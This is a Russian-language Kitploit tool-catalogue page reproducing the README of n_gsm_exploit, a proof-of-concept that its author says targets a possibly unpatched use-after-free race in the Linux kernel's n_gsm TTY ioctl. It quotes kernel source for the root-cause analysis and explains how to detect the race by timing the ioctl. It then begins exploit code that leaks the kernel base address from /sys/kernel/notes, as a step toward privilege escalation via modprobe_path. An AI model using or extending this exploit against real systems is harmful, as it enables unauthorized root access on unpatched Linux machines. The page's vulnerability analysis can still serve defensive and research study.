Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
n_gsm_exploit — PoC эксплойта use-after-free в ioctl TTY n_gsm ядра Linux: анализ состояния гонки, утечка базового адреса ядра, heap spray, перехват RIP, произвольная запись и повышение привилегий через modprobe_path. | Kitploit
Инструменты/GitHubGitHub/gmh5225/n_gsm_exploit
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

PoC эксплойта use-after-free в ioctl TTY n_gsm ядра Linux: анализ состояния гонки, утечка базового адреса ядра, heap spray, перехват RIP, произвольная запись и повышение привилегий через modprobe_path.

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Похоже, это всё ещё 0-day. Я не собирался публиковать этот эксплойт до того, как уязвимость будет исправлена, но другой исследователь, обнаруживший ту же уязвимость, опубликовал 0-day эксплойт, поэтому я также опубликовал свой код. Пожалуйста, используйте его только в исследовательских целях.

RCA

  • TTY ядра Linux поддерживает протокол мультиплексирования GSM 07.10.
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • Когда для GSM запрашивается ioctl, в ядре выполняются следующие функции:

[1] GSMIOC_SETCONF: Сбрасывает конфигурацию GSM.

[2] GSMIOC_GETCONF_DLCI: Извлекает конфигурацию DLCI, связанную с GSM.

[3] GSMIOC_SETCONF_DLCI: Изменяет конфигурацию DLCI, связанную с GSM.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • Сначала рассмотрим GSMIOC_SETCONF, который изменяет конфигурацию GSM.

  • [1] Если текущая конфигурация GSM отличается от новой конфигурации, need_restart помечается как true.

    [2] Если need_restart равен true, текущий GSM завершается через gsm_cleanup_mux.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] Все DLCI, принадлежащие GSM, освобождаются через gsm_dlci_release.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • Затем функции вызываются в следующем порядке:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] NULL присваивается gsm->dlci[addr] для предотвращения Use-After-Free (UAF).

    [2] После этого gsm->dlci[addr] освобождается с помощью kfree.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • Рассмотрим GSMIOC_SETCONF_DLCI, который изменяет значения конфигурации DLCI, принадлежащего GSM.

  • [1] Считывает конфигурацию DLCI, включая адрес (addr), от пользователя.

    [2] Обращается к gsm->dlci[addr].

    [3] Вызывает gsm_dlci_config для изменения конфигурации DLCI.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] Устанавливает need_open в true на основе параметров, переданных пользователем.

[2] Ожидает, пока dlci->state не станет DLCI_CLOSED.

[3] Если истинно только gsm->initiator, вызывается функция gsm_dlci_begin_open для перезапуска DLCI.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

Уязвимость

[1] Обращается к gsm->dlci без блокировки.

[1] gsm_dlci_config обращается к dlci. Если gsm_cleanup_mux был вызван из-за GSMIOC_SETCONF, состояние гонки может привести к Use-After-Free (UAF).

  • При нормальных обстоятельствах условие выполняется за очень короткое время и вызывается wakeup.
  • Если возникает UAF, то, если с уровня пользователя не запрашивается другой IOCTL для вызова процедуры wakeup, происходит бесконечное ожидание.
  • Следовательно, злоумышленник может определить, была ли вызвана UAF, измерив длительность до завершения IOCTL.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • Во время ожидания в wait_event_interruptible GSM перезапускается потоком threadFunction2.
    • DLCI, на который ссылается GSM, освобождается через kfree, и DLCI, на который ссылается wait_event_interruptible, также освобождается через kfree.
    • В таком сценарии, поскольку IOCTL выполняется долго, из пользовательского пространства легко обнаружить, что произошло использование после освобождения (Use-After-Free, UAF).

Утечка базового адреса ядра

  • Адрес hypercall_page ядра записан в /sys/kernel/notes, который доступен для чтения обычным пользователям. Поэтому злоумышленник может прочитать этот файл, чтобы раскрыть базовый адрес ядра.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;
Скачать инструмент